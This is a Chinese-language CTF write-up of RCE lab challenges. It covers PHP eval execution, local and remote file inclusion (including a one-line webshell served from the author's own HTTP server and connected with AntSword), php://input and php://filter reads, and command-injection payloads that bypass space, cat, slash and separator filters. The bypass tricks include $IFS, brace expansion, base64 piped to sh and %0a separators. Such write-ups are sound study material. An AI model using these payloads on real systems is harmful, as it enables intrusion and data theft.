CTF_Show_RCE技能树
RCE总结
命令注入
命令分割符号:
1 | linux: |
绕过
- **cat**:用
ca\tor 定义表达式 - **空格**:用
$IFS$1、大括号扩展{cat,flag.php}、cat<flag.php、cat<>- 1
{cat,flag.php}大括号扩展:生成一个逗号分割的字符串集合 - 会分别执行 cat flag.php
- 2
cat${IFS}flag.php内部字段分隔符 IFS:相当于空格、制表、换行 - 3
cat$IFS$9flag.php$9 是第 9 个参数- 可以理解为无意义字符,为了绕过检测用的(其实指向第九个参数,这里根本没有指定参数)
- 4
cat<flag.phpflag.php 重定向为 cat 的输入 - 5
cat<>flag.php读取并写入 flag.php- 其实等于 4,读取再写入
- 6
kg=$'\x20flag.php'&&cat$kg定义kg=$'\x20flag.php'其中 \x20 是 ASCII 中的空格- 直接定义访问了
- 7
a=c;b=at;c=flag.php;$a$b $c定义表达式访问a=ca;b=$'t\x20';c=flag.php;$a$b$c也可以
- 8
b=ag;a=fl;cat$IFS$1$a$b.php定义表达式+内部字段分割符 - 9
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh- 用 echo 输出 base64 编码的
cat flag管道到 base64 解密,然后管道到 sh 中执行
- 用 echo 输出 base64 编码的
- 10
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash只是把执行换位了 bash - 11
echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3用的 python 来执行import osprint(os.system('cat flag.php'))
- 1
- **最好用的是定义表达式**:
- 比如正常的
cat flag.php ;a=fl;b=ag.php;cat$IFS$1$a$b
- 比如正常的
RCE_文件包含
ctf_show 的 RCE 的技能树

代码执行&命令执行
特别注意:<font style="color:rgb(0, 0, 0);">$_REQUEST</font>是一个包含了$_GET、$_POST和$_COOKIE数据的超级全局变量
题目:eval执行(代码执行)
ctf_show 题目
一道基础题,但是有一个点需要注意的
1 |
|
直接把 cmd 传参的内容当作 eval 的 php 代码执行
?cmd=system("ls /");

?cmd=system("cat /flag_7373")

一个需要注意的点
对于以下的代码都是可以的,只要在命令的部分没有空格(空格会被url编码%20,在浏览器传输到后端后会自动解码一次)
1 | ?cmd=system(ls); ?cmd=system(pwd); ?cmd=system(whoami); |
但是一旦有了空格,就执行不成功?cmd=system(ls /);而需要加上引号?cmd=system("ls /");
题目:文件包含
1 |
|

文件如下,有 eval 代码执行

可以用 get、post、cookie 传参
get 传参?file=shell.txt&ctfhub=system("cat /flag");

post 传参

cookie 传参,这里 cookie 传参没有成功(猜测 Cookie 的逻辑没有写在服务器代码里,不知道,乱猜的)

传参方式 get/post/cookie
get?para1=xxx¶2=xxx
post
1 | POST /api/submit HTTP/1.1 |
Cookie(多个参数用;分割,注意 Cookie 后的空格和分号后的空格分割)
1 | GET /api HTTP/1.1 |

题目:php://input
- php://input 的作用:
- 可用于查看源码,同时是要查看未压缩文件的只读流
- 在post请求中能查看请求的原始数据,并将post请求中的post数据当作php代码执行。(只读流是说只能进行读操作的数据)
- 条件:allow_url_fopen=off/on;allow_url_include=on。


php://input 代码执行风险

寻找目录

查看 flag

1 | /?file=php://input |
题目:读取源代码
给了文件路径
可以直接读文件
1 | /?file=php://filter/read=convert.base64-encode/resource=/flag |

题目:远程包含

可以直接包含远程文件,测试包含百度

包含自己博客

一句话木马
1 | <?php |
服务器开启 http 服务器python3 -m http.server 8888

直接包含

蚂蚁连接

虚拟终端,查找 flag

远程allow_url_fopen/include
allow_url_fopen允许 url 的方式打开文件file_get_contents()、fopen、php://input
allow_url_include允许远程文件包含(远程服务器文件)include、require、include_once、require_once
RCE_命令注入
题目:命令注入(exec 命令执行)
|是管道符,前一个命令输出,作为后一个命令输入- 前一个命令对后一个命令如果没有有效的输入:会直接执行后一个命令
;是直接分割命令,顺序执行这些命令;不管前一个是否执行成功,都会执行后一个
&&是前一个执行成功,再执行后一个

1 |
|
exec 函数

展示:exec 执行结果返回给$res,然后展示在页面上(print_r 格式化输出)

- 使用管道符
**<font style="color:#DF2A3F;"> | </font>**连接多个命令- 前一个命令的输出,作为下一个命令的输入
- 但是:因为 ping 不会产生有效输出——就会直接中断 ping 的执行然后
- ls 命令就会直接执行

直接 cat 看不 flagwww.baidu.com|cat 14645300762206.php
但是 F12 查看源代码可以看到

尝试 base64 编码www.baidu.com|cat 14645300762206.php|base64


直接;cat 14645300762206.php|base64也可以

题目:禁用 cat
less(更多交互)、more(只允许向后)、tac(最后一行开始反向显示)、ca\t(被解析为 cat+\t 制表符)
;ca\t flag_18071273756181.php|base64然后解码
;ca\t flag_18071273756181.php然后查看源代码
题目:禁用空格
思路
1 | {cat,flag.php} |
- 1
{cat,flag.php}大括号扩展:生成一个逗号分割的字符串集合- 会分别执行 cat flag.php
- 2
cat${IFS}flag.php内部字段分隔符 IFS:相当于空格、制表、换行 - 3
cat$IFS$9flag.php$9 是第 9 个参数- 可以理解为无意义字符,为了绕过检测用的(其实指向第九个参数,这里根本没有指定参数)
- 4
cat<flag.phpflag.php 重定向为 cat 的输入 - 5
cat<>flag.php读取并写入 flag.php- 其实等于 4,读取再写入
- 6
kg=$'\x20flag.php'&&cat$kg定义kg=$'\x20flag.php'其中 \x20 是 ASCII 中的空格- 直接定义访问了
- 7
a=c;b=at;c=flag.php;$a$b $c定义表达式访问a=ca;b=$'t\x20';c=flag.php;$a$b$c也可以
- 8
b=ag;a=fl;cat$IFS$1$a$b.php定义表达式+内部字段分割符 - 9
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh- 用 echo 输出 base64 编码的
cat flag管道到 base64 解密,然后管道到 sh 中执行
- 用 echo 输出 base64 编码的
- 10
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash只是把执行换位了 bash - 11
echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3用的 python 来执行import osprint(os.system('cat flag.php'))
注意:$IFS$1就可以理解为一个空格
$IFS$绕过
先寻找 flag 在哪里;ls$IFS$1/


直接查看 flag;cat$IFS$1flag_151002790815863.php,查看源代码就可以看到

也可以编码后输出;cat$IFS$1flag_151002790815863.php|base64

ASCII 编码绕过 \x20
;a=$'\x20flag_151002790815863.php'&&cat$a
定义表达式绕过
;a=ca;b=t;c=$'\x20flag_151002790815863.php';$a$b$c
;a=ca;b=t;c=$'\x20flag_151002790815863.php';$a$b$c|base64
加密绕过
cat flag_151002790815863.php编码Y2F0IGZsYWdfMTUxMDAyNzkwODE1ODYzLnBocA==
直接;echo$IFS$1Y2F0IGZsYWdfMTUxMDAyNzkwODE1ODYzLnBocA==|base64$IFS$1-d|sh
查看源代码即可
也可以编码后输出
;echo$IFS$1Y2F0IGZsYWdfMTUxMDAyNzkwODE1ODYzLnBocA==|base64$IFS$1-d|sh|base64
使用 python(python 没有成功,是不是题目环境没有 python3?)
1 | import os |
payload 如下
;echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWdfMTUxMDAyNzkwODE1ODYzLnBocCcpKQ==|base64$IFS$1-d|python3
题目:过滤’/‘
1 | if (!preg_match_all("/\//", $ip, $m)) |
查看当前目录下:有一个新多出来的目录

进入目录并查看;cd flag_is_here;ls

;cd flag_is_here;cat flag_256382751229052.php|base64
题目:过滤’|| 和&’

正则"/(\||\&)/":匹配|或者&(中间那个|是或者符)
直接分号就行了;cat flag_138181990221028.php
组合过滤(前面所有)

过滤了的东西:
|``&``;``(空格)/``cat``flag``ctfhub
在 Windows 和 linux 中
%0a(回车)都可以作为命令分隔符使用**特别注意:**在这里的数据流向
- 用户在输入框输入的表单数据——会用 GET 方式传递到浏览器 URL 中
- 浏览器会被 URL 中的特殊字符 url 编码一次——传递到后端
- 后端获取后会被解码
**因此:**在这里输入框如果输入
%0a会被浏览器编码一次%会被编码为%25,加上0a就是%250a,在后端解析后就不是我们预期的
所以:
- 这里应该直接在 url 中输入,而不是在输入框输入
- 也可以在

查看当前目录%0als

- 进入到 flag 的目录
%0aa=fl%0ab=ag_is_here%0acd$IFS$1$a$b%0als- 这里是用的
%0a分割 - 然后表达式定义
$IFS$1作空格
- 这里是用的

- 查看 flag
- 前面的命令是
%0aa=fl%0ab=ag_is_here%0acd$IFS$1$a$b%0a - 在后面加上查看 flag 的命令
- cat 也被过滤了直接用
ca\t制表符绕过(也可以定义表达式) - flag 文件名:
c=fl%0ad=ag_1490190811343.php - 就应该是
c=fl%0ad=ag_1490190811343.php%0aca\t$IFS$1$c$d
- cat 也被过滤了直接用
- 前面的命令是
- 拼接起来就是如下
%0aa=fl%0ab=ag_is_here%0acd$IFS$1$a$b%0ac=fl%0ad=ag_1490190811343.php%0aca\t$IFS$1$c$d
一发入魂,拿下!(查看源代码即可)
可以直接 base64,不用 cat
%0aa=fl%0ab=ag_is_here%0acd$IFS$1$a$b%0ac=fl%0ad=ag_1490190811343.php%0abase64$IFS$1$c$d
